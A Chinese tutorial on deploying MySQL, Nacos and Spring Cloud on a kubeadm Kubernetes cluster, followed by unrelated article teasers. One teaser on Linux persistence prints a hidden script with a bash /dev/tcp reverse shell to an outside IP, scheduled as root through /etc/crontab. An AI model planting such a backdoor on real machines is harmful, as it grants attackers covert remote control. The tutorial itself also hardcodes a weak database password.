【云原生】:用Kubernetes部署MySQL、SpringCloud、Nacos实现高可用

news2024/10/5 13:29:48

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文章目录

  • 一、 建立Kubernetes集群
    • 1. 安装和配置Kubernetes master节点
      • 1.1 安装Docker和Kubernetes
      • 1.2 初始化master节点
      • 1.3 添加Kubernetes网络插件
      • 1.4 验证Kubernetes master节点的状态
    • 2. 安装和配置Kubernetes worker节点
      • 2.1 安装Docker和Kubernetes(`在1.1已安装的无需重复安装`)
      • 2.2 加入Kubernetes集群
    • 3. 配置Kubernetes网络
  • 二、 部署MySQL
    • 1. 用Kubernetes创建一个MySQL deployment
      • 1.1 创建一个 Yaml 文件
      • 1.2 通过 kubectl apply 命令部署 MySQL
      • 1.3 执行该命令后,可以通过以下命令检查 Deployment 是否成功创建:
    • 2. 配置MySQL Pod的资源请求和限制
      • 2.1 创建一个 Yaml 文件
      • 2.2 通过 kubectl apply 命令部署 MySQL:
      • 2.3 执行该命令后,可以通过以下命令检查 Pod 是否成功创建:
    • 3. 使用Kubernetes创建一个MySQL Service
      • 3.1 创建一个 Yaml 文件
      • 3.2 通过 kubectl apply 命令部署 MySQL Service:
      • 3.3 执行该命令后,可以通过以下命令检查 Service 是否成功创建:
    • 4. 使用Kubernetes创建一个MySQL PersistentVolume和PersistentVolumeClaim
      • 4.1 创建一个 Yaml 文件
      • 4.2 创建一个 Yaml 文件,命名为 mysql-pv.yaml,内容如下:
      • 4.3 通过 kubectl apply 命令创建 PVC 和 PV:
  • 三、 部署Nacos
    • 1. 用Kubernetes创建一个Nacos deployment
      • 1.1 创建一个nacos-deployment.yaml文件
      • 1.2 使用kubectl apply命令来创建nacos deployment:
    • 2. 配置Nacos Pod的资源请求和限制
      • 2.1 编辑nacos-deployment.yaml文件
      • 2.2 使用kubectl apply命令来更新nacos deployment:
    • 3. 使用Kubernetes创建一个Nacos Service
      • 3.1 创建一个nacos-service.yaml文件
      • 3.2 使用kubectl apply命令来创建nacos service:
    • 4. 使用Kubernetes创建一个Nacos PersistentVolume和PersistentVolumeClaim
      • 4.1 创建一个nacos-pv.yaml文件
      • 4.2 使用kubectl apply命令来创建nacos persistent volume:
      • 4.3 创建一个nacos-pvc.yaml文件
      • 4.4 使用kubectl apply命令来创建nacos persistent volume claim:
      • 4.5 编辑nacos-deployment.yaml文件,在nacos容器的volumes部分添加以下内容:
      • 4.6 使用kubectl apply命令来更新nacos deployment:
    • 5. 在Nacos中添加MySQL配置和Spring Cloud配置
      • 5.1 在 MySQL 中创建一个 Nacos 数据库
      • 5.2 将上述文件上传到 nacos 中:
      • 5.3 在 Spring Cloud 中添加 Nacos 配置:
      • 5.4 将上述配置文件更新到 Nacos 中:
  • 四、 部署Spring Cloud应用程序
    • 1. 用Kubernetes创建一个Spring Cloud deployment
      • 1.1 创建一个 Yaml 文件
      • 1.2 通过 kubectl apply 命令部署 Spring Cloud:
      • 1.3 执行该命令后,可以通过以下命令检查 Deployment 是否成功创建:
    • 2. 配置Spring Cloud Pod的资源请求和限制
      • 2.1 创建一个 Yaml 文件
      • 2.2 通过 kubectl apply 命令部署 Spring Cloud:
      • 2.3 执行该命令后,可以通过以下命令检查 Pod 是否成功创建:
    • 3. 使用Kubernetes创建一个Spring Cloud Service
      • 3.1 创建一个 Yaml 文件
      • 3.2 通过 kubectl apply 命令部署 Spring Cloud Service:
      • 3.3 执行该命令后,可以通过以下命令检查 Service 是否成功创建:
    • 4. 在Spring Cloud应用程序中使用Nacos的配置中心服务和注册中心
  • 五、 安全性和可靠性
    • 1. 在MySQL中启用SSL/TLS
    • 2. 使用Kubernetes的Secrets来安全地存储密码等敏感信息
    • 3. 在Kubernetes中运行多个副本以提高可靠性
  • 六、 结论
    • 1. 优化和扩展MySQL、Spring Cloud和Nacos服务的Kubernetes部署
    • 2. 解决可能出现的问题和调试Kubernetes部署过程

一、 建立Kubernetes集群

在开始部署之前,必须先建立Kubernetes集群。为了简化部署过程,可以使用一些工具,如kubeadmkops

1. 安装和配置Kubernetes master节点

在系统上安装和配置Kubernetes master节点,可以按照以下步骤进行操作:

1.1 安装Docker和Kubernetes

# 安装Docker
sudo apt-get install -y docker.io

# 添加Kubernetes的官方仓库
sudo curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
sudo apt-add-repository "deb http://apt.kubernetes.io/ kubernetes-xenial main"

# 安装Kubernetes
sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl

1.2 初始化master节点

# 初始化master节点
sudo kubeadm init

# 在跟随的输出中,会看到需要执行以下命令来让Kubernetes集群管理器(kubectl)可以使用:
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

1.3 添加Kubernetes网络插件

# 添加Kubernetes网络插件
sudo kubectl apply -f https://docs.projectcalico.org/manifests/calico.yaml

1.4 验证Kubernetes master节点的状态

# 查看节点状态
sudo kubectl get nodes

# 输出应该类似于以下内容:
# NAME         STATUS     ROLES    AGE    VERSION
# <node-name>  Ready      master   1m     v1.10.0

2. 安装和配置Kubernetes worker节点

在系统上安装和配置Kubernetes worker节点,可以按照以下步骤进行操作:

2.1 安装Docker和Kubernetes(在1.1已安装的无需重复安装)

# 安装Docker
sudo apt-get install -y docker.io

# 添加Kubernetes的官方仓库
sudo curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
sudo apt-add-repository "deb http://apt.kubernetes.io/ kubernetes-xenial main"

# 安装Kubernetes
sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl

2.2 加入Kubernetes集群

# 执行命令kubeadm init时,会提示你加入集群的命令
# 如:kubeadm join <master-ip>:<master-port> --token <token> --discovery-token-ca-cert-hash sha256:<hash>

3. 配置Kubernetes网络

在Kubernetes集群中,Pod之间需要能够相互通信。为了实现这个目标,必须配置Kubernetes网络。我们在上面初始化Kubernetes master节点的时候已经添加了Calico网络插件,这就能让Kubernetes集群正常工作了。

二、 部署MySQL

在Kubernetes集群中部署MySQL,可以按照以下步骤进行操作:

1. 用Kubernetes创建一个MySQL deployment

1.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 mysql.yaml,内容如下:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: mysql
spec:
  selector:
    matchLabels:
      app: mysql
  strategy:
    type: Recreate
  template:
    metadata:
      labels:
        app: mysql
    spec:
      containers:
      - name: mysql
        image: mysql:5.6
        env:
        - name: MYSQL_ROOT_PASSWORD
          value: password
      restartPolicy: Always

这个配置文件定义了 MySQL 的 Deployment,指定了环境变量 MYSQL_ROOT_PASSWORD,指定了容器的镜像和重新启动策略。

1.2 通过 kubectl apply 命令部署 MySQL

kubectl apply -f mysql.yaml

1.3 执行该命令后,可以通过以下命令检查 Deployment 是否成功创建:

kubectl get deployments

2. 配置MySQL Pod的资源请求和限制

2.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 mysql-resources.yaml,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: mysql
spec:
  containers:
  - name: mysql
    image: mysql:5.6
    env:
    - name: MYSQL_ROOT_PASSWORD
      value: password
    resources:
      limits:
        cpu: 500m
        memory: 512Mi
      requests:
        cpu: 100m
        memory: 256Mi

2.2 通过 kubectl apply 命令部署 MySQL:

kubectl apply -f mysql-resources.yaml

2.3 执行该命令后,可以通过以下命令检查 Pod 是否成功创建:

kubectl get pods

这个配置文件指定了 MySQL Pod 的 CPU 和内存请求和限制。

3. 使用Kubernetes创建一个MySQL Service

3.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 mysql-service.yaml,内容如下:

apiVersion: v1
kind: Service
metadata:
  name: mysql
spec:
  ports:
  - port: 3306
    targetPort: 3306
  selector:
    app: mysql

这个配置文件指定了 MySQL 的 Service 端口,并定义了选择器以将 Service 与 Deployment 关联起来。

3.2 通过 kubectl apply 命令部署 MySQL Service:

kubectl apply -f mysql-service.yaml

3.3 执行该命令后,可以通过以下命令检查 Service 是否成功创建:

kubectl get services

4. 使用Kubernetes创建一个MySQL PersistentVolume和PersistentVolumeClaim

4.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 mysql-pvc.yaml,内容如下:

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: mysql-pvc
spec:
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi

这个配置文件定义了一个 PersistentVolumeClaim(PVC),用于向 Kubernetes 集群申请一定数量的永久存储资源。

4.2 创建一个 Yaml 文件,命名为 mysql-pv.yaml,内容如下:

apiVersion: v1
kind: PersistentVolume
metadata:
  name: mysql-pv
spec:
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteOnce
  persistentVolumeReclaimPolicy: Retain
  hostPath:
    path: "/mnt/data"

这个配置文件定义了一个 PersistentVolume(PV),用于提供永久存储资源。

4.3 通过 kubectl apply 命令创建 PVC 和 PV:

kubectl apply -f mysql-pvc.yaml
kubectl apply -f mysql-pv.yaml

在完成以上操作后,你就成功的在 Kubernetes 集群中部署了 MySQL,包括创建 Deployment、Pod 的资源请求和限制、创建 Service 以及创建 PersistentVolume 和 PersistentVolumeClaim。

三、 部署Nacos

Nacos是一个服务注册和配置中心,它可以在Kubernetes集群中作为微服务架构的一部分被部署。下面是部署Nacos的步骤:

1. 用Kubernetes创建一个Nacos deployment

1.1 创建一个nacos-deployment.yaml文件

创建一个nacos-deployment.yaml文件,其中包含有关nacos deployment的定义。下面是一个示例文件:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nacos
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nacos
  template:
    metadata:
      labels:
        app: nacos
    spec:
      containers:
      - name: nacos
        image: nacos/nacos-server:latest
        env:
        - name: MODE
          value: standalone
        ports:
        - containerPort: 8848
        - containerPort: 9555

上述yaml文件指定了deployment名称为nacos,使用了nacos官方提供的Docker镜像,并指定了容器的环境变量为standalone模式。此外,容器暴露了两个端口:8848用于服务注册和配置,9555用于健康检查。

1.2 使用kubectl apply命令来创建nacos deployment:

kubectl apply -f nacos-deployment.yaml

2. 配置Nacos Pod的资源请求和限制

2.1 编辑nacos-deployment.yaml文件

编辑nacos-deployment.yaml文件,在nacos容器的部分添加以下内容:

resources:
  requests:
    cpu: 500m
    memory: 1Gi
  limits:
    cpu: 1
    memory: 2Gi

上述内容为nacos容器设置了资源请求和限制:请求了0.5个CPU和1GB内存,限制了1个CPU和2GB内存。

2.2 使用kubectl apply命令来更新nacos deployment:

kubectl apply -f nacos-deployment.yaml

3. 使用Kubernetes创建一个Nacos Service

3.1 创建一个nacos-service.yaml文件

创建一个nacos-service.yaml文件,其中包含有关nacos service的定义。以下是一个示例文件:

apiVersion: v1
kind: Service
metadata:
  name: nacos-service
spec:
  selector:
    app: nacos
  ports:
  - name: port1
    port: 8848
  - name: port2
    port: 9555

上述yaml文件指定了service名称为nacos-service,并使用app=nacos标签来选择要关联的Pod。此外,service暴露了两个端口:8848端口用于服务注册和配置,9555端口用于健康检查。

3.2 使用kubectl apply命令来创建nacos service:

kubectl apply -f nacos-service.yaml

4. 使用Kubernetes创建一个Nacos PersistentVolume和PersistentVolumeClaim

4.1 创建一个nacos-pv.yaml文件

创建一个nacos-pv.yaml文件,其中包含有关nacos persistent volume的定义。下面是一个示例文件:

apiVersion: v1
kind: PersistentVolume
metadata:
  name: nacos-pv
spec:
  capacity:
    storage: 10Gi
  accessModes:
    - ReadWriteOnce
  hostPath:
    path: "/mnt/data"

上述yaml文件指定了持久卷的名称为nacos-pv,容量为10GB,访问模式为ReadWriteOnce,使用的是hostPath卷类型。在这种类型下,使用主机节点上的路径作为数据存储的目录。

4.2 使用kubectl apply命令来创建nacos persistent volume:

kubectl apply -f nacos-pv.yaml

4.3 创建一个nacos-pvc.yaml文件

创建一个nacos-pvc.yaml文件,其中包含有关nacos persistent volume claim的定义。以下是一个示例文件:

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: nacos-pv-claim
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi
  selector:
    matchLabels:
        pv-name: nacos-pv

上述yaml文件指定了基于nacos-pv持久卷创建的持久卷申请。此claim的名称为nacos-pv-claim,请求了10GB的存储空间,容许ReadWriteOnce访问模式,并使用了selector匹配nacos-pv的标签来关联persistent volume。

4.4 使用kubectl apply命令来创建nacos persistent volume claim:

kubectl apply -f nacos-pvc.yaml

4.5 编辑nacos-deployment.yaml文件,在nacos容器的volumes部分添加以下内容:

volumes:
  - name: nacos-data
    persistentVolumeClaim:
      claimName: nacos-pv-claim

上述内容将名为nacos-data的持久卷声明添加到nacos容器中。

4.6 使用kubectl apply命令来更新nacos deployment:

kubectl apply -f nacos-deployment.yaml

5. 在Nacos中添加MySQL配置和Spring Cloud配置

5.1 在 MySQL 中创建一个 Nacos 数据库

在 MySQL 中创建一个 Nacos 数据库,然后使用以下命令创建一个 config.txt 文件:

spring.datasource.platform=mysql
db.num=1

db.url.0=jdbc:mysql://<mysql-ip>:<mysql-port>/nacos_config?characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true
db.user=<mysql-username>
db.password=<mysql-password>

If use multi-datasource else to load data, you should set spring.jta.enabled=false,
and configure datasource in you business applications.
##spring.jta.enabled=false

config data id:
Nacos Configuration data
dataId: ${prefix}-${spring.profiles.active}.${file-extension}
prefix: /config
file-exetension: properties|yaml|yml|txt|xml ...
Nacos Configuration example:
dataId: example.${spring.profilex.active}.properties
content format:
user.name=Nacos
user.age=25

5.2 将上述文件上传到 nacos 中:

kubectl exec -it <nacos-pod-name> -- /bin/sh
curl -X POST "http://localhost:8848/nacos/v1/cs/configs?
dataId=mysql.properties&group=DEFAULT_GROUP&content=`cat /tmp/config.txt`"

以上命令将在 Nacos 的默认组中添加名为 mysql.properties 的配置文件。

5.3 在 Spring Cloud 中添加 Nacos 配置:

在你的 Spring Boot 项目中添加以下依赖:

<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId>
</dependency>

在 application.properties 中添加以下配置:

spring.cloud.nacos.config.server-addr=<nacos-service-ip>:<nacos-service-port>
spring.cloud.nacos.config.namespace=<nacos-config-namespace>
spring.cloud.nacos.config.prefix=<nacos-config-prefix>
spring.cloud.nacos.config.group=<nacos-config-group>
spring.cloud.nacos.config.file-extension=<nacos-config-file-extension>

5.4 将上述配置文件更新到 Nacos 中:

curl -X POST "http://<nacos-service-ip>:<nacos-service-port>/nacos/v1/cs/configs?dataId=<nacos-config-file-id>&group=<nacos-config-group>&content=cat /path/to/your/configfile"

以上命令将在 Nacos 的指定组中添加你的配置文件。现在你可以在你的 Spring Cloud 项目中使用 Nacos 配置了。

四、 部署Spring Cloud应用程序

在Kubernetes集群中部署Spring Cloud应用程序,可以按照以下步骤进行操作:

1. 用Kubernetes创建一个Spring Cloud deployment

1.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 springcloud.yaml,内容如下:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: springcloud
spec:
  selector:
    matchLabels:
      app: springcloud
  replicas: 1
  template:
    metadata:
      labels:
        app: springcloud
    spec:
      containers:
      - name: springcloud
        image: <dockerhub_username>/springcloud:latest
        ports:
        - containerPort: 8080
        env:
        - name: SPRING_APPLICATION_JSON
          value: '{"spring.cloud.nacos.discovery.server-addr":"${NACOS_ADDR:localhost:8848}","spring.cloud.nacos.config.server-addr":"${NACOS_ADDR:localhost:8848}"}'
      restartPolicy: Always

这个配置文件定义了 Spring Cloud 的 Deployment,指定了容器的镜像、端口和重新启动策略。其中通过 SPRING_APPLICATION_JSON 环境变量来指定远程 Nacos 注册中心和配置中心的地址。

1.2 通过 kubectl apply 命令部署 Spring Cloud:

kubectl apply -f springcloud.yaml

1.3 执行该命令后,可以通过以下命令检查 Deployment 是否成功创建:

kubectl get deployments

2. 配置Spring Cloud Pod的资源请求和限制

2.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 springcloud-resources.yaml,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: springcloud
spec:
  containers:
  - name: springcloud
    image: <dockerhub_username>/springcloud:latest
    ports:
    - containerPort: 8080
    env:
    - name: SPRING_APPLICATION_JSON
      value: '{"spring.cloud.nacos.discovery.server-addr":"${NACOS_ADDR:localhost:8848}","spring.cloud.nacos.config.server-addr":"${NACOS_ADDR:localhost:8848}"}'
    resources:
      limits:
        cpu: 500m
        memory: 512Mi
      requests:
        cpu: 100m
        memory: 256Mi

这个配置文件指定了 Spring Cloud Pod 的 CPU 和内存请求和限制。

2.2 通过 kubectl apply 命令部署 Spring Cloud:

kubectl apply -f springcloud-resources.yaml

2.3 执行该命令后,可以通过以下命令检查 Pod 是否成功创建:

kubectl get pods

3. 使用Kubernetes创建一个Spring Cloud Service

3.1 创建一个 Yaml 文件

创建一个 Yaml 文件,命名为 springcloud-service.yaml,内容如下:

apiVersion: v1
kind: Service
metadata:
  name: springcloud
spec:
  ports:
  - port: 8080
    targetPort: 8080
  selector:
    app: springcloud

这个配置文件指定了 Spring Cloud 的 Service 端口,并定义了选择器以将 Service 与 Deployment 关联起来。

3.2 通过 kubectl apply 命令部署 Spring Cloud Service:

kubectl apply -f springcloud-service.yaml

3.3 执行该命令后,可以通过以下命令检查 Service 是否成功创建:

kubectl get services

4. 在Spring Cloud应用程序中使用Nacos的配置中心服务和注册中心

在 Spring Cloud 应用程序中使用 Nacos 的配置中心服务和注册中心,需要在应用程序的 bootstrap.yml 中添加如下配置:

spring:
  cloud:
    nacos:
      discovery:
        server-addr: ${NACOS_ADDR:localhost:8848}
      config:
        server-addr: ${NACOS_ADDR:localhost:8848}

这个配置指定了远程 Nacos 注册中心和配置中心的地址。

五、 安全性和可靠性

提高Kubernetes部署的安全性和可靠性,可以按照以下步骤进行操作:

1. 在MySQL中启用SSL/TLS

使用 SSL/TLS 可保证 MySQL 数据库的通信安全。启用 SSL/TLS 需要生成证书并在 MySQL 中配置 SSL/TLS。具体操作可参考MySQL安全秘籍这篇博客里面有详细的讲解

2. 使用Kubernetes的Secrets来安全地存储密码等敏感信息

Kubernetes 的 Secrets 可以安全地存储密码、API keys、证书等敏感信息。使用 Secrets 可以避免把密码等敏感信息写死在代码或配置文件中,降低泄露风险。

创建 Secrets 可以使用 kubectl 命令行工具或 YAML 文件。下面是一个使用 YAML 文件创建 Secrets 的示例:

apiVersion: v1
kind: Secret
metadata:
  name: mysql-secrets
type: Opaque
data:
  mysql-user: <base64-encoded-user>
  mysql-password: <base64-encoded-password>

其中,<base64-encoded-user><base64-encoded-password> 分别是经过 Base64 编码的用户名和密码。

创建 Secrets 后,可以在容器中使用环境变量或挂载文件的方式来使用 Secrets。例如,在 Nacos 的 Kubernetes 部署中,可通过以下方式使用 Secrets:

env:
  - name: MYSQL_USER
    valueFrom:
      secretKeyRef:
        name: mysql-secrets
        key: mysql-user
  - name: MYSQL_PASSWORD
    valueFrom:
      secretKeyRef:
        name: mysql-secrets
        key: mysql-password

需要了解更全面的Kubernetes安全策略可点击这个链接

3. 在Kubernetes中运行多个副本以提高可靠性

使用 Kubernetes 的 Deployments 可以在 Kubernetes 中运行多个副本,提高容器应用程序的可靠性。使用 Deployments 可以定义副本数量、滚动更新等策略,保证应用程序的高可用性。

以下示例定义了一个名为 nacos 的 Deployment,其中定义了 3 个副本,并启用了滚动更新:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nacos
spec:
  selector:
    matchLabels:
      app: nacos
  replicas: 3
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxSurge: 1
      maxUnavailable: 1
  template:
    metadata:
      labels:
        app: nacos
    spec:
      containers:
        - name: nacos
          image: nacos/nacos-server:2.0.3
          ports:
            - name: http
              containerPort: 8848
            - name: rpc
              containerPort: 8849

注意,在使用多个副本时,需要考虑服务发现、负载均衡等问题。例如,在 Nacos 中,可通过 Nacos 的服务发现功能来实现多副本的服务发现和负载均衡。

六、 结论

1. 优化和扩展MySQL、Spring Cloud和Nacos服务的Kubernetes部署

  1. 升级到更高版本的 MySQL、Spring Cloud 和 Nacos,以获得更好的性能和新功能。
  2. 通过水平扩展来增加 MySQL、Spring Cloud 和 Nacos 的容量,并使用自动伸缩功能来根据实际负载自动调整容量。
  3. 使用 Kubernetes 中的 ConfigMap 和 Secret 对 MySQL、Spring Cloud 和 Nacos 进行配置管理。

2. 解决可能出现的问题和调试Kubernetes部署过程

  1. 通过 kubectl describe 命令查看相关资源的详细信息,例如查看 Pod、Deployment、Service 等等。
  2. 通过 kubectl logs 命令查看容器的日志。
  3. 使用 Kubernetes Dashboard 来可视化地查看 Kubernetes 集群和相关资源的状态。
  4. 通过 kubectl exec 命令进入容器内部进行调试和排查问题。
  5. 在 Kubernetes 中使用 Liveness 和 Readiness Probe,以检查应用程序的运行状态,并及时发现并解决问题。
  6. 使用 Kubernetes 中的 StatefulSet 对有状态的应用进行部署。
  7. 对于一些复杂的集群配置,可以使用 Helm 来进行管理和部署。
  8. 使用 Kubernetes 中的 NetworkPolicy 对网络流量进行控制和监控,以增强集群的安全性和可靠性。

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IP协议以及相关技术

这里写目录标题前言正文IP基本认识IP的作用IP和MAC的关系IP地址的基础知识IP地址定义IP地址分类(IPv4)无分类IP地址CIDR子网掩码IPv6基础知识相关技术DNS域名解析ARPDHCPNATICMPIGMP总结参考连接前言 大家好&#xff0c;我是练习两年半的Java练习生&#xff0c;今天我们来讲一…

TypeScript(八)装饰器

目录 前言 定义 类装饰器 基本用法 操作方式 操作类的原型 类继承操作 方法装饰器 属性装饰器 存取器装饰器 参数装饰器 基本用法 参数过滤器 元数据函数实现 参数过滤 效果实践 装饰器优先级 相同装饰器 不同装饰器 装饰器工厂 hooks与class兼容 结语 …

电子的普线图、能级图,能量吸收和共振

一、圆形电子轨道谱线 光谱产生的原因&#xff1a;原子中的电子在轨道上发生跃迁。如莱曼系为电子从n2,3,4等轨道跃迁到n1的基态轨道产生。 圆形电子轨道&#xff1a;中心的圆点为原子核&#xff0c;中心最接近原子核为n1的电子轨道&#xff0c;轨道大小正比于n的平方。如下图…

NoSQL数据库简介

NoSQL代表“不仅是SQL”&#xff0c;指的是一种数据库管理系统&#xff0c;旨在处理大量非结构化和半结构化数据。与使用具有预定义架构的表格格式的传统SQL数据库不同&#xff0c;NoSQL数据库是无模式的&#xff0c;并且允许灵活和动态的数据结构。 NoSQL数据库是必需的&…

kafka笔记

消息队列 场景模式基础架构发送原理异步发送同步发送分区生产者提高吞吐量&#xff1a;数据可靠性ack应答数据重复幂等性事务数据有序数据乱序broker工作流程follower故障leader故障数据查找文件清除高效读写消费者流程消费者组初始化分区分配策略自动提交offset手动提交指定位…

GaussDB数据库事务介绍

目录 一、前言 二、GaussDB事务的定义及应用场景 三、GaussDB事务的管理 四、GaussDB事务语句 五、GaussDB事务隔离 六、GaussDB事务监控 七、总结 一、前言 随着大数据和互联网技术的不断发展&#xff0c;数据库管理系统的作用越来越重要&#xff0c;实现数据的快速读…

Springboot——文件的上传与下载(reggie)

目录 一、文件上传——upload 1.1 介绍 1.2 前端代码实现 1.3 后端代码实现 二、文件下载——download 2.1 介绍 2.2 前端代码编写 2.3 后端代码编写 三、 前端总代码 四、 应用场景 4.1 数据库表 4.1.1 菜品表 4.1.2 菜品口味表 4.1.3 菜品分类及菜品套餐表 4.2 实体类 4.…

【GitHub Copilot X】基于GPT-4的全新智能编程助手

文章目录一、前言1.1 编程助手的重要性和历史背景1.2 Copilot X 的背景和概览1.3 Copilot X 的核心技术二、自然语言处理技术的发展和现状2.1 GPT-4 技术的基本原理和应用场景2.2 Copilot X 如何利用 GPT-4 进行智能编程2.3 Copilot X 的特点和优点三、比较 Copilot X 和传统编…

Vue组件的通信方式有哪些?

文章目录组件间通信的概念组件间通信解决了什么&#xff1f;组件间通信的分类组件间通信的方案props传递数据$emit 触发自定义事件refEventBus$parent 或 $root$attrs 与 $listenersprovide 与 injectvuex小结组件间通信的概念 开始之前&#xff0c;我们把组件间通信这个词进行…

ChatGPT背后有哪些关键技术?CSIG企业行带你一探究竟

目录1 ChatGPT的时代2 CSIG企业行3 议题&嘉宾介绍3.1 对生成式人工智能的思考3.2 对话式大型语言模型研究3.3 文档图像处理中的底层视觉技术4 观看入口1 ChatGPT的时代 2015年&#xff0c;马斯克、美国创业孵化器Y Combinator总裁阿尔特曼、全球在线支付平台PayPal联合创始…

一文总结经典卷积神经网络CNN模型

一般的DNN直接将全部信息拉成一维进行全连接&#xff0c;会丢失图像的位置等信息。 CNN&#xff08;卷积神经网络&#xff09;更适合计算机视觉领域。下面总结从1998年至今的优秀CNN模型&#xff0c;包括LeNet、AlexNet、ZFNet、VGG、GoogLeNet、ResNet、DenseNet、SENet、Sque…

11万字数字政府智慧政务大数据建设平台(大数据底座、数据治理)

本资料来源公开网络&#xff0c;仅供个人学习&#xff0c;请勿商用&#xff0c;如有侵权请联系删除。部分资料内容&#xff1a; 一.1.1 数据采集子系统 数据采集需要实现对全区各委办单位的数据采集功能&#xff0c;包括离线采集、准实时采集和实时采集的采集方式&#xff0c;根…

【云原生】Kubernetes(k8s)之容器的探测

Kubernetes&#xff08;k8s&#xff09;之容器的探测一、探测类型及使用场景1.1、startupProbe&#xff08;启动探测&#xff09;1.2、readinessProbe&#xff08;就绪探测&#xff09;1.3、livenessProbe&#xff08;存活探测&#xff09;二、检查机制三、探测结果四、容器探测…

Springboot是怎么解决跨域问题的?

什么是跨域&#xff1f;简单理解&#xff0c;就是在不前网页下&#xff0c;试图访问另外一个不同域名下的资源时&#xff0c;受到浏览器同源策略的限制&#xff0c;而无法正常获取数据的情况&#xff1b;什么是同源策略同源策略是浏览器出于安全考虑而制定的一种限制资源访问的…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 &#xff08;1&#xff09;全缺省 &#xff08;2&#xff09;半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中&#xff0c;我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

Vue插槽理解

Vue插槽理解插槽插槽 slot又名插槽&#xff0c;vue内容分发机制&#xff0c;组件内部的模板引擎使用slot元素作为承载分发内容的出口 插槽slot是子组件的一个模板标签元素&#xff0c;而这一个元素是否显示&#xff0c;以及怎么显示是由父组件决定的 slot分为三类&#xff1a;默…